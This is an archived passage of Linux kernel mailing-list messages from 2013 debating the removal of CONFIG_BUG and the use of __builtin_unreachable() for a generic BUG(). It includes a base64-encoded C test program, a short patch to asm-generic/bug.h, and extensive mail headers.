>> > about functions which are returning nothing which shouldn't.
>> >
>> > The problem is: trying to fix that _will_ mean the result is a larger
>> > kernel than if you just do the usual arch-implemented thing of placing
>> > an defined faulting instruction at the BUG() site - which defeats the
>> > purpose of turning off CONFIG_BUG.
> Is __builtin_unreachable() working well these days?

In fact, using __builtin_unreachable() is a standard way for
architectures to implemented their own BUG() (e.g. x86, s390, powerpc,
arm ...)

Before __builtin_unreachable(), must need an inline asm instruction
which architecture specific.

I have test using __builtin_unreachable() without an related asm
instruction before, it prints many unexpected things (please see the
attachment).

So I think, it is not suitable to use it in "asm-generic/bug.h"


Thanks.
-- 
Chen Gang

Asianux Corporation

--------------060108040408020204060404
Content-Type: text/plain; charset=UTF-8;
 name="test0.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="test0.c"

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPGVy
cm9yLmg+CiNpbmNsdWRlIDxlcnJuby5oPgojaW5jbHVkZSA8ZmNudGwuaD4KI2luY2x1ZGUg
PHVuaXN0ZC5oPgojaW5jbHVkZSA8c3lzL3N0YXQuaD4KCmludCBtYWluKCkKewoJaW50IGZp
bGU7CglpbnQgcmV0OwoJY2hhciBidWZbMHgxMDBdOwoKCWZpbGUgPSBvcGVuKCIvdG1wL3dv
cmsuYyIsIE9fUkRPTkxZKTsKCWlmIChmaWxlID09IC0xKSB7CgkJcHJpbnRmKCJcbm9wZW4g
ZmlsZSBmYWlsZWQuIGVycm5vID0gJWRcbiIsIGVycm5vKTsKCQlnb3RvIGVycjsKCX0gZWxz
ZQoJCXByaW50ZigiXG5vcGVuIGZpbGUgc3VjY2VlZC5cbiIpOwoKCXByaW50ZigiYmVmb3Jl
IHVucmVhY2hhYmxlXG4iKTsKCV9fYnVpbHRpbl91bnJlYWNoYWJsZSgpOwoJcHJpbnRmKCJh
ZnRlciB1bnJlYWNoYWJsZVxuIik7CgoJaWYgKGxzZWVrKGZpbGUsIDEwLCBTRUVLX0VORCkg
PCAwKSB7CgkJcHJpbnRmKCJcbmxzZWVrIGZpbGUgZmFpbGVkLiBlcnJubyA9ICVkXG4iLCBl
cnJubyk7CgkJZ290byBlcnI7Cgl9CgoJcmV0ID0gcmVhZChmaWxlLCBidWYsIDB4MTAwKTsK
CWlmIChyZXQgPCAwKSB7CgkJcHJpbnRmKCJcbjFzdCByZWFkIGZpbGUgZmFpbGVkLiBlcnJu
byA9ICVkLCByZXQgPSAlZFxuIiwgZXJybm8sIHJldCk7CgkJZ290byBlcnI7Cgl9IGVsc2UK
CQlwcmludGYoIlxuMXN0IHJlYWQgZmlsZSBzdWNjZWVkLiBlcnJubyA9ICVkLCByZXQgPSAl
ZFxuIiwgZXJybm8sIHJldCk7CgoJcmV0ID0gcmVhZChmaWxlLCBidWYsIDB4MTAwKTsKCWlm
IChyZXQgPCAwKSB7CgkJcHJpbnRmKCJcbjJuZCByZWFkIGZpbGUgZmFpbGVkLiBlcnJubyA9
ICVkLCByZXQgPSAlZFxuIiwgZXJybm8sIHJldCk7CgkJZ290byBlcnI7Cgl9IGVsc2UKCQlw
cmludGYoIlxuMm5kIHJlYWQgZmlsZSBzdWNjZWVkLiBlcnJubyA9ICVkLCByZXQgPSAlZFxu
IiwgZXJybm8sIHJldCk7CgoJcmV0ID0gcmVhZChmaWxlLCBidWYsIDB4MTAwKTsKCWlmIChy
ZXQgPCAwKSB7CgkJcHJpbnRmKCJcbjJyZCByZWFkIGZpbGUgZmFpbGVkLiBlcnJubyA9ICVk
LCByZXQgPSAlZFxuIiwgZXJybm8sIHJldCk7CgkJZ290byBlcnI7Cgl9IGVsc2UKCQlwcmlu
dGYoIlxuM3JkIHJlYWQgZmlsZSBzdWNjZWVkLiBlcnJubyA9ICVkLCByZXQgPSAlZFxuIiwg
ZXJybm8sIHJldCk7CgoKCXJldHVybiAwOwplcnI6CglyZXR1cm4gLTE7Cn0KCg==
--------------060108040408020204060404
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
Linuxppc-dev mailing list
Linuxppc-dev@lists.ozlabs.org
https://lists.ozlabs.org/listinfo/linuxppc-dev
--------------060108040408020204060404--


From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
	deleting 'CONFIG_BUG' since	always need it.
Date: Thu, 23 May 2013 11:04:09 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20130523100409.GK18614@n2100.arm.linux.org.uk>
References: <519DCBEF.3090208@asianux.com>
	<20130523090534.GJ18614@n2100.arm.linux.org.uk>
	<CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
	<201305231139.38233.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369303667 9058 80.91.229.3 (23 May 2013 10:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 10:07:47 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org>,
        Frederic Weisbecker <fweisbec-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
To: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Thu May 23 12:07:43 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UfSQw-0006b2-Gi
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 23 May 2013 12:07:42 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4N9dbH3001051;
	Thu, 23 May 2013 05:39:37 -0400
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[78.32.30.218])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4N9dSsx001047 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Thu, 23 May 2013 05:39:34 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=6N7KDEIOxuBF5eUEh+iZw1CGs7Q8Rh017tZy3AnZ9oo=; 
	b=cgmXib4ZrP6poedcw8C2OZPDBaXDkiPsgj7vo16SQKGXqgjHbSxZZHm7v7ginSwdR9S4nqdmdzJCnKdaaTkLp2CFstUTpbWPlZEUjJJz04eBEfR0QuKjalxMpXd4BI2QiQFfsP5Asm9E30MDix1ND+JPH4eu3/f8eGgYl2H/3aQ=;
Original-Received: from n2100.arm.linux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51558)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76) (envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1UfSNY-0005Jo-Ji; Thu, 23 May 2013 11:04:13 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.76)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1UfSNW-0001tL-IZ; Thu, 23 May 2013 11:04:10 +0100
Content-Disposition: inline
In-Reply-To: <201305231139.38233.arnd-r2nGTMty4D4@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:7090 gmane.linux.ports.sh.devel:23168 gmane.linux.kernel.cross-arch:18007 gmane.linux.uml.devel:13922 gmane.linux.uml.user:14478 gmane.linux.ports.arm.kernel:238486 gmane.linux.ports.parisc:5060 gmane.linux.kernel:1495611 gmane.linux.ports.hexagon:583 gmane.linux.ports.ppc64.devel:90985
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/7090>

On Thu, May 23, 2013 at 11:39:37AM +0200, Arnd Bergmann wrote:
> On Thursday 23 May 2013, Geert Uytterhoeven wrote:
> > > The problem is: trying to fix that will mean the result is a larger
> > > kernel than if you just do the usual arch-implemented thing of placing
> > > an defined faulting instruction at the BUG() site - which defeats the
> > > purpose of turning off CONFIG_BUG.
> > 
> > Is __builtin_unreachable() working well these days?
> > 
> 
> Hmm, I just tried the trivial patch below, which seemed to do the right thing.
> Needs a little more investigation, but that might actually be the correct
> solution. I thought that at some point __builtin_unreachable() was the same
> as "do {} while (1)", but this is not the case with the gcc I was using --
> it just tells gcc that we don't expect to ever get here.

All this is doing is hiding the warning, nothing more.

What the compiler does is this:

	beq	1f
	... some asm code ...
	__builtin_reachable() point
	maybe a literal table
1:	... some asm code doing some other part of the function ...

and what will happen is that the first block of asm will fall through the
(possibly present) literal table into the following asm code.  So, as
specified in the gcc manual, if you ever hit a __builtin_unreachable()
point, your program is undefined (as in, the behaviour of it can no longer
be known.)

We can't make that guarantee with BUG() - because sometimes they do fire
and sometimes in the most unlikely scenarios, particularly if you're not
looking, or at the most inconvenient time.

So, if you want to use this, then you should update the CONFIG_BUG text
to include a warning to this effect:

     Warning: if CONFIG_BUG is turned off, and control flow reaches
     a BUG(), the system behaviour will be undefined.

so that people can make an informed choice about this, because at the
moment:

          Disabling this option eliminates support for BUG and WARN, reducing
          the size of your kernel image and potentially quietly ignoring
          numerous fatal conditions. You should only consider disabling this
          option for embedded systems with no facilities for reporting errors.
          Just say Y.

will become completely misleading.  Turning this option off will _not_
result in "quietly ignoring numerous fatal conditions".

And I come back to one of my previous arguments - is it not better to
panic() if we hit one of these conditions so that the system can try to
do a panic-reboot rather than continue blindly into the unknown?

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
 deleting 'CONFIG_BUG' since always need it.
Date: Thu, 23 May 2013 03:09:50 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <878v369fdd.fsf@xmission.com>
References: <519DCBEF.3090208@asianux.com>
 <20130523090534.GJ18614@n2100.arm.linux.org.uk>
 <CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
 <201305231139.38233.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369303891 11752 80.91.229.3 (23 May 2013 10:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 10:11:31 +0000 (UTC)
Cc: Catalin Marinas <Catalin.Marinas@arm.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Chen Gang <gang.chen@asianux.com>, Heiko Carstens <heiko.carstens@de.ibm.com>,
 "paulus@samba.org" <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 Michel Lespinasse <walken@google.com>,
 Hans-Christian Egtvedt <egtvedt@samfundet.no>,
 Linux-Arch <linux-arch@vger.kernel.org>, linux-s390@vger.kernel.org,
 Russell King - ARM Linux <linux@arm.linux.org.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
 Richard Weinberger <richard@nod.at>, Helge Deller <deller@gmx.de>,
 the arch/x86 maintainers <x86@kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "mingo@redhat.com" <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Frederic Weisbecker <fweisbec@gmail.com>,
 Paul McKenney <paulmck@linux.vnet.ibm.com>,
 =?utf-8?Q?H=C3
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 23 12:11:26 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1UfSUW-0008Ue-IY
	for linux-arm-kernel@m.gmane.org; Thu, 23 May 2013 12:11:24 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfSUS-0004xn-Uu; Thu, 23 May 2013 10:11:21 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UfSUQ-0007Tf-29; Thu, 23 May 2013 10:11:18 +0000
Original-Received: from out02.mta.xmission.com ([166.70.13.232])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UfSUG-0007SH-G2
 for linux-arm-kernel@lists.infradead.org; Thu, 23 May 2013 10:11:16 +0000
Original-Received: from in01.mta.xmission.com ([166.70.13.51])
 by out02.mta.xmission.com with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
 (Exim 4.76) (envelope-from <ebiederm@xmission.com>)
 id 1UfSTH-0003xS-Na; Thu, 23 May 2013 04:10:08 -0600
Original-Received: from c-98-207-154-105.hsd1.ca.comcast.net ([98.207.154.105]
 helo=eric-ThinkPad-X220.xmission.com)
 by in01.mta.xmission.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
 (Exim 4.76) (envelope-from <ebiederm@xmission.com>)
 id 1UfSTC-0000kJ-Nn; Thu, 23 May 2013 04:10:07 -0600
In-Reply-To: <201305231139.38233.arnd@arndb.de> (Arnd Bergmann's message of
 "Thu, 23 May 2013 11:39:37 +0200")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.1 (gnu/linux)
X-XM-AID: U2FsdGVkX18L2YNZK4qZk51EIeGPvRr5p2yF4vqbA2s=
X-SA-Exim-Connect-IP: 98.207.154.105
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on sa06.xmission.com
X-Spam-Level: 
X-Spam-Status: No, score=-3.3 required=8.0 tests=ALL_TRUSTED,BAYES_00,
 DCC_CHECK_NEGATIVE,T_TM2_M_HEADER_IN_MSG,T_TooManySym_01,T_TooManySym_02,
 T_TooManySym_03,XMSubLong autolearn=disabled version=3.3.2
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
 *  0.7 XMSubLong Long Subject
 *  0.0 T_TM2_M_HEADER_IN_MSG BODY: T_TM2_M_HEADER_IN_MSG
 * -3.0 BAYES_00 BODY: Bayes spam probability is 0 to 1%
 *      [score: 0.0059]
 * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
 *      [sa06 1397; Body=1 Fuz1=1 Fuz2=1]
 *  0.0 T_TooManySym_01 4+ unique symbols in subject
 *  0.0 T_TooManySym_03 6+ unique symbols in subject
 *  0.0 T_TooManySym_02 5+ unique symbols in subject
X-Spam-DCC: XMission; sa06 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ;Arnd Bergmann <arnd@arndb.de>
X-Spam-Relay-Country: 
X-Spam-Flag: No
X-SA-Exim-Version: 4.2.1 (built Wed, 14 Nov 2012 14:26:46 -0700)
X-SA-Exim-Scanned: Yes (on in01.mta.xmission.com)
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130523_061108_581805_F6FCB7AD 
X-CRM114-Status: GOOD (  19.01  )
X-Spam-Score: -3.0 (---)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-3.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [166.70.13.232 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.1 RP_MATCHES_RCVD Envelope sender domain matches handover relay domain
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:238488 gmane.linux.ports.sh.devel:23169 gmane.linux.kernel.cross-arch:18008 gmane.linux.uml.devel:13923 gmane.linux.uml.user:14479 gmane.linux.hardware.blackfin.kernel.devel:7091 gmane.linux.ports.parisc:5061 gmane.linux.kernel:1495613 gmane.linux.ports.hexagon:584 gmane.linux.ports.ppc64.devel:90986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/238488>

Arnd Bergmann <arnd@arndb.de> writes:

> On Thursday 23 May 2013, Geert Uytterhoeven wrote:
>> > The problem is: trying to fix that will mean the result is a larger
>> > kernel than if you just do the usual arch-implemented thing of placing
>> > an defined faulting instruction at the BUG() site - which defeats the
>> > purpose of turning off CONFIG_BUG.
>> 
>> Is __builtin_unreachable() working well these days?
>> 
>
> Hmm, I just tried the trivial patch below, which seemed to do the right thing.
> Needs a little more investigation, but that might actually be the correct
> solution. I thought that at some point __builtin_unreachable() was the same
> as "do {} while (1)", but this is not the case with the gcc I was using --
> it just tells gcc that we don't expect to ever get here.

Yes.

We already have this abstracted in compiler.h as the macro unreachable,
so the slight modification of your patch below should handle this case.

For compilers without __builtin_unreachable() unreachable() expands to
do {} while(1) but an infinite loop seems reasonable and preserves the
semantics of the code, unlike the current noop that is do {} while(0).

> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
>
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 7d10f96..9afff7d 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -108,11 +108,11 @@ extern void warn_slowpath_null(const char *file, const int line);
 
 #else /* !CONFIG_BUG */
 #ifndef HAVE_ARCH_BUG
-#define BUG() do {} while(0)
+#define BUG() unreachable ()
 #endif
 
 #ifndef HAVE_ARCH_BUG_ON
-#define BUG_ON(condition) do { if (condition) ; } while(0)
+#define BUG_ON(condition) do { if (condition) unreachable(); } while(0)
 #endif
 
 #ifndef HAVE_ARCH_WARN_ON

From - Thu Nov 08 21:09:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] arch: configuration,
	deleting 'CONFIG_BUG' since	always need it.
Date: Thu, 23 May 2013 11:29:34 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20130523102934.GN18614@n2100.arm.linux.org.uk>
References: <519DCBEF.3090208@asianux.com>
	<20130523090534.GJ18614@n2100.arm.linux.org.uk>
	<CAMuHMdWez-j1Maa3BD7ucmzv0_zFJnChERQiHFmkCaZUzG0_AA@mail.gmail.com>
	<201305231139.38233.arnd@arndb.de> <878v369fdd.fsf@xmission.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1369305181 25548 80.91.229.3 (23 May 2013 10:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 May 2013 10:33:01 +0000 (UTC)
Cc: Linux-sh list <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Catalin Marinas <Catalin.Marinas-5wv7dgnIgG8@public.gmane.org>,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Chen Gang <gang.chen-bOixZGp5f+dBDgjK7y7TUQ@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org" <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Michel Lespinasse <walken-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>,
        Hans-Christian Egtvedt <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        uml-devel <user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
        Yoshinori Sato <ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org>,
        Richard Weinberger <richard-/L3Ra7n9ekc@public.gmane.org>, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
        the arch/x86 maintainers <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        "mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Geert Uytterhoeven <geert@
To: "Eric W. Biederman" <ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Thu May 23 12:32:56 2013
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([66.11.68.51])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1UfSpK-0002qb-Tl
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Thu, 23 May 2013 12:32:55 +0200
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id r4NA4sDk005360;
	Thu, 23 May 2013 06:04:54 -0400
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[78.32.30.218])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	r4NA4eGt005338 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Thu, 23 May 2013 06:04:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=arm.linux.org.uk; s=caramon; 
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date;
	bh=wKraG8Q65Ed3OcmUxkmfLPVg3pBpRPHELo/wSTxlszc=; 
	b=Q7JHAjT+0tU3MXCol/Md2t8m3BmwZ/LOaUuTkmeHeGxD3o+ZtvCzRZ1B/Kqkb/jFcbpfNfGVCxam76tMNjV2lA8Zc/KRoQQ61u59V/Z6naG+6kjPul4f0vG1Hag4nl2m7pu00LjUlqgmZj7WPabERDUz/TLuXhwRr//ITzH67JQ=;
Original-Received: from n2100.arm.linux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51579)
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
